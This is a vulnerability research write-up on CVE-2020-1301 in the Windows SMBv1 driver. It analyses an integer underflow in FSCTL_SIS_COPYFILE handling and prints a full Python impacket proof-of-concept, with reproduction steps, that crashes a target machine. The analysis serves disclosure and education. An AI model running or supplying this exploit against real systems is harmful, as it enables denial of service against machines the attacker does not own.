- The first is the need to have user credentials to connect to a remote share folder.
- The second is less common. It would seem that a partition must be shared on the server such as “c:\”, “d:\” and so on. However, even if such a configuration is sometimes done to serve specific requirements, we are not completely sure that is the only way to reach the vulnerability.
Figure 1: Version of srv.sys (SMBv1 driver)During the entire article, the SMBv1 driver has been retrieved from the last Windows Insider Preview (WIP), which means that all versions of Windows could be affected. Disclaimer: This article is intended to share our recent research on SMBv1 only from a security perspective as well as an educational purpose. We will not be responsible for any use or misuse of this analysis such as this technical report or the provided proof of concept.
Vulnerability AnalysisThis chapter will provide the approach used to discover this vulnerability as well as a full understanding of the issue. Accordingly, the SMBv1 commands and subcommands will be briefly reviewed before going on the real CVE-2020-1301’s involved commands. In particular, the reader might learn that sending IOCTL/FSCTL to a file hosted by a remote server is a native SMB functionality.
SMBv1 commandsSMBv1 is a rich and complex network communication protocol providing features such as a fine-grained access to shared resources (files, printers or serial ports) and an authenticated inter-process mechanism (named pipes) which is widely used for the Microsoft’s own implementation of DCE/RPC over SMB, known as MSRPC. Therefore, the SMBv1 protocol offers about 80 specific commands. The most common you have probably encountered are the following:
- SMB_COM_CREATE_DIRECTORY (0x00) and SMB_COM_DELETE_DIRECTORY (0x01)
- SMB_COM_OPEN (0x02) and SMB_COM_CLOSE (0x04)
- SMB_COM_FLUSH (0x05) and SMB_COM_DELETE (0x06)
- SMB_COM_READ (0x0A) and SMB_COM_WRITE (0x0B)
- SMB_COM_TREE_CONNECT (0x70) and SMB_COM_WRITE_TREE_DISCONNECT (0x71)
- As well as many others
- The Transaction Subcommands in part of SMB_COM_TRANSACTION (0x25)
- The Transaction Subcommands in part of SMB_COM_TRANSACTION2 (0x32)
- The NT Transact Subcommands in pat of SMB_COM_NT_TRANSACT (0xA0)
The vulnerable commands comboThe SMB_COM_NT_TRANSACT command was introduced in the NT LAN Manager dialect. This request is sent by a client to specify operations on the server such as file open, file create, device I/O control, notify directory change as well as set and query security descriptors. In the previous chapter, we have seen that the SMB_COM_NT_TRANSACT command is composed of a list of subcommand codes, also known as “NT Trans subcommand” codes. These subcommands are initially specified in section 188.8.131.52 of [MS-CIFS] . Then, additional codes have been added in section 184.108.40.206 of [MS-SMB] . Finally, a total of nine commands are available. Among these, one in particular interest us, which is the NT_TRANSACT_IOCTL. In this vulnerability report, we will not dissect all the fields belonging to the SMB header or the SMB_COM_NT_TRANSACT/ NT_TRANSACT_IOCTL structures. Only the most significant will be highlighted. First, it starts with the command field of the SMB header. It is a one-byte code that will be set with the value 0xA0, corresponding to the SMB_COM_NT_TRANSACT request. Such a command involves two SMB blocks:
- A Parameter Block which holds a message-specific parameters structure, named SMB_Parameters. It will contain both the NT_TRANSACT_IOCTL (0x02) subcommand code and the IOCTL/FSCTL code
- A Data Block which holds a message-specific data structure, named SMB_Data. It will contain useful data for the required IOCTL/FSCTL operation
Figure 2: NT_TRANSACT_IOCTL from the transaction codes tableThe IOCTLs and FSCTLs may be global or specific to the underlying object store of the server. That is why they are listed both in [MS-CIFS]  and [MS-SMB] . The Parameter Block of a NT_TRANSACT_IOCTL request is composed two important fields:
- SMB_COM_NT_TRANSACT.Function field which is the SMB_COM_NT_TRANSACT subcommand
- SMB_COM_NT_TRANSACT.Setup field which indicates what IOCTL/FSCTL must be called
Figure 3: NT_TRANSACT_IOCTL – Setup structureThe FunctionCode identifies the control code of the FSCTL/IOCTL method, which could be seen like a subcommand of the NT_TRANSACT_IOCTL command. At this time, we would be well advised to resume all the commands and subcommands involved in such a request. Please see Figure 4 below:
Figure 4: Recap of involved (sub)commandsNote the first occurrence of the 0x00090100 value, that is simply the FSCTL code which will be used for triggering the vulnerability. From the paragraph 2.3 FSCTL structures of [MS-FSCC] , we retrieve the following description: A process invokes an FSCTL on a handle to perform an action against the file or directory associated with the handle. When a server receives an FSCTL request, it should use the information in the request, which includes a handle and, optionally, an input data buffer, to perform the requested action. How a server performs the action requested by an FSCTL is implementation-dependent. There are about 40 FSCTLs, which is a lot of reverse engineering to dive into each of them. As a vulnerability researcher, one personal methodology I apply is to always start from the end. This time, it paid off. There is probably a little bit of luck because the vulnerable FSCTL is just the second from the end. Please see Figure 5 below, a short extract of the FSCTL table [MS-FSCC] :
Figure 5: Extract of the FSCTL tableFrom the above table, the reader can now figure out the name of the vulnerable FSCTL (0x90100), that is FSCTL_SIS_COPYFILE. In fact, the SMB_COM_NT_TRANSACT, NT_TRANSACT_IOCTL and FSCTL_SIS_COPYFILE combination refers to a FSCTL_SIS_COPYFILE Request . Finally, please see Figure 6 below, a network capture which highlights all FSCTL_SIS_COPYFILE’s significant fields:
Figure 6: FSCTL_SIS_COPYFILE RequestThe last green border corresponds to the useful data which will be handled as part of this FSCTL. The bug will occur while handling this byte stream. So, let’s dive into the FSCTL_SIS_COPYFILE data.
The FSCTL_SIS_COPYFILE vulnerabilityFirst of all, SIS is the acronym for Single-Instance Store. It refers to an architecture designed to maintain duplicate files with a minimum of disk, cache and backup media overhead. This mechanism is similar to an incremental backup. Once an initial full backup has been achieved, only new or modified files are actually copied to the backup device. As previously explained, this CVE-2020-1301 involves a SMB_COM_NT_TRANSACT request with the NT_TRANSACT_IOCTL subcommand which in turn requires a subcommand, that is the FSCTL. In this context, the FSCTL_SIS_COPYFILE (0x90100) asks the server to copy the specified source file to the specified destination file by creating a SIS link instead of actually copying the file data. Note this FSCTL can be issued against either a file or directory handle. Such a request contains a SI_COPYFILE data element. Please see Figure 7 below, its representation:
Figure 7: SI_COPYFILE structure
- SourceFileNameLength is a 32-bit unsigned integer that contains the size, in bytes, of the SourceFileName element, including a terminating-Unicode null character
- DestinationFileNameLength is a 32-bit unsigned integer that contains the size, in bytes, of the DestinationFileName element, including a terminating-Unicode null character
- Flags is a 32-bit unsigned integer that contains zero or flag values
- SourceFileName is a null-terminated Unicode string containing the source file name
- DestinationFileName is a null-terminated Unicode string containing the destination file name
Figure 8: SI_COPYFILE – Malformed dataThe issue will occur because the DestinationFileNameLength field is set to one byte. Therefore, the DestinationFileName field is also composed of one 8-bit character (one byte). Conceptually, the code which handles the FSCTL_SIS_COPYFILE request should reject this frame. Actually, as the destination file name is a Unicode string, the filename length must be an even number. Because of this programming mistake, all security checks on the DestinationFileNameLength are successfully passed. The latter will be neither null or above the total of received data length. Please see Figure 9 below, the disassembly code which shows us these checks:
Figure 9: SrvSmbNtIoctl – Checks on the destination filename lengthOnce these checks are passed, the driver tests whether both the source and the destination filenames are well null-terminated Unicode string. In our specific case, the DestinationFileName’s one-byte length leads to a misunderstanding which allows to check the last 2 bytes of the source filename instead of those of the destination filename. Please see Figure 10 below, the disassembly code that leads to this unexpected behaviour:
Figure 10: SrvSmbNtIoctl – MisunderstandingThe rdx register points to the destination filename which comes from the FSCTL_SIS_COPYFILE request. The length of this file name equals to one byte, so the “shr” instruction results to the following calculation “1 >> 2”. Accordingly, the rax register will equal to 0. The “cmp” instruction aims to check if the last character of the filename is NULL. In this context, this instruction results to compare the last two bytes of the source filename due to the subtraction with “-2”. Indeed, we get the following results:
[rdx+rax*2-2] ⬄ [pDestinationFileNameBegin+0*2–2] ⬄ [pSourceFileNameEnd]Then, the driver should build the full path of the source and destination filenames, that will be prefixed with the share name. In fact, this is the most significant part for triggering the vulnerability. Indeed, in order to reach the vulnerability, the share name must have, at all costs, a backslash character (“\”) before the null-terminating character. After attempting several scenario of files sharing, a way consists to share a partition like “c:\” or “d:\”. However, the reader is free to provide me other ways to achieve this behaviour. Please see Figure 11 below, a disassembly code which shows the two execution paths according to the last character of the share name, that is either the NULL or the backslash character:
Figure 11: SrvSmbNtIoctl – Execution path according to the last character of the share nameAs soon as the “backslash” execution path is used, we are getting closer and closer to the consequences of the bug. Please see Figure 12 below, the disassembly code that highlights the integer underflow:
Figure 12: SrvSmbNtIoctl – Integer underflow bugAs you can see in Figure 12, the value “2” is subtracted from the “ebx” register, which represents the length of the destination filename. As this length is set to one byte, we get the “ebx” register equals to the 0xffffffff value. That also means -1. Then, this computed length is stored in the local variable, labelled “l_dwDestinationFilenameLength”. Finally, the SrvAllocatePagedPool() function is called to allocate a destination buffer from the paged pool. Please see Figure 13 below, the call to memcpy function that leads to a pool overflow:
Figure 13: SrvSmbNtIoctl – Non paged pool overflowThe crash will occur because the driver attempts to copy 0xffffffff bytes from the destination filename, which is under our control, to the previously allocated SMB1 buffer. The latter is used as a memcpy’s destination buffer. Please see Figure 14 below, a screenshot of a Windbg session before the memcpy function is called:
Figure 14: Windbg session – Breakpoint on memcpyIn Figure 14, we can notice:
- Highlighted in the green border, the destination buffer which is allocated from the paged pool with a 260 bytes’ length
- Highlighted in the blue border, the beginning of the SI_COPYFILE data which are sent from our especially crafted request
- Highlighted in the yellow border, the source buffer with some junk data in order to illustrate that we can control what is copied
- Highlighted in the red border, the length of data that will be recopied (0xffffffff); This value is not under our control
Proof of ConceptThis code relies on the use of “impacket” library to ease the handling of SMB packet over the network. Finally, please see Figure 15 below, the proof of concept leading to a Denial of Service:
#!/usr/bin/python from scapy.all import * from impacket import smb import sys, getopt def main(argv): try: opts, args = getopt.getopt(argv,"ht:u:p:",["target=", "username=", "password="]) except getopt.GetoptError: print './CVE-2020-1301_poc.py -t <target>' sys.exit(2) target_ip = "192.168.1.1" username = "" password = "" for opt, arg in opts: if opt == '-h': print './CVE-2020-1301_poc.py -t <target>' sys.exit() elif opt in ("-t", "--target"): target_ip = arg elif opt in ("-u", "--user"): username = arg elif opt in ("-p", "--password"): password = arg ''' IOCTL Code: 0x090100 is FSCTL_SIS_COPYFILE ''' s = smb.SMB('*SMBSERVER', target_ip) s.login(username, password, '') tid = s.tree_connect_andx(r"\\*SMBSERVER\C") print "tid = %d" % tid fName = 'share\\1.txt' fid = s.open_andx(tid, fName, smb.SMB_O_OPEN, smb.SMB_ACCESS_READ) print "fid = %d" % fid try: s2 = smb.NewSMBPacket() cmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) cmd['Parameters'] = smb.SMBNTTransaction_Parameters() cmd['Data'] = smb.SMBNTTransaction_Data() IoctlCode = 0x90100 setup = smb.pack('<L', IoctlCode) setup += smb.pack('<H', fid) setup += 'a' * 2 name = '' param = '' size = 10 data = smb.pack('<L', size) # SourceFileNameLength data += smb.pack('<L', 1) # DestinationFileNameLength data += smb.pack('<L', 0x00000002) # Flags data += '\x00' * (size-1) # SourceFileName (variable) data += '\x00' # DestinationFileName (variable) data += '\x00\x00' data += '\x41' * 16 data += '\x42' * 16 data += '\x43' * 16 data += '\x44' * 16 data += 'Exploit me! ;-)' cmd['Parameters']['MaxSetupCount'] = 0x55 cmd['Parameters']['TotalParameterCount']= len(param) cmd['Parameters']['TotalDataCount'] = len(data) cmd['Parameters']['MaxParameterCount'] = 0x55 cmd['Parameters']['MaxDataCount'] = 0x55 cmd['Parameters']['ParameterCount'] = len(param) cmd['Parameters']['ParameterOffset'] = 0x20+0x03+0x1c+len(setup)+len(name) cmd['Parameters']['DataCount'] = len(data) cmd['Parameters']['DataOffset'] = 0x20+0x03+0x26+len(setup)+len(name)+len(param) cmd['Parameters']['Function'] = 0x0002 cmd['Parameters']['Setup'] = setup cmd['Data']['Pad1'] = '' cmd['Data']['NT_Trans_Parameters'] = param cmd['Data']['Pad2'] = '' cmd['Data']['NT_Trans_Data'] = data s2.addCommand(cmd) s2['Tid'] = tid smb.SMB.sendSMB(s,s2) except smb.SessionError, e: print e if __name__ == "__main__": main(sys.argv[1:])
Figure 15: Proof of Concept
Vulnerability ReproducingPlease see below steps to reproduce the Denial of Service:
- If not, enable the SMBv1 on the targeted machine. From PowerShell, type the following command: Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
- Share a disk file (partition). The provided exploit requires the “C:\” directory
- Create the “1.txt” file under “C:\share\” to get “C:\share\1.txt”
- This POC is developed in Python and relies on Impacket library: Copy and use the code above. An example of use is as follow: “./CVE-2020-1301_poc.py -u user1 -p user1 -t 220.127.116.11”.
- The targeted machine has probably crashed. If not, try again
DemonstrationThis demonstration has been tested on Windows 10 Pro version 2004 which is part of the Windows Insider Preview.
Figure 16: Version of the tested Windows OSThe following command should trigger the vulnerability.
./CVE-2020-1301.py -u user1 -p user1 -t 18.104.22.168As soon as the vulnerability is triggered, we see the following BSOD in Figure 17:
Figure 17: BSOD into srv.sysFor further analysis, more accurate information can be retrieved from a Windbg session. In particular, information like the register values or the call stack.
Figure 18: Windbg – Registers and Call Stack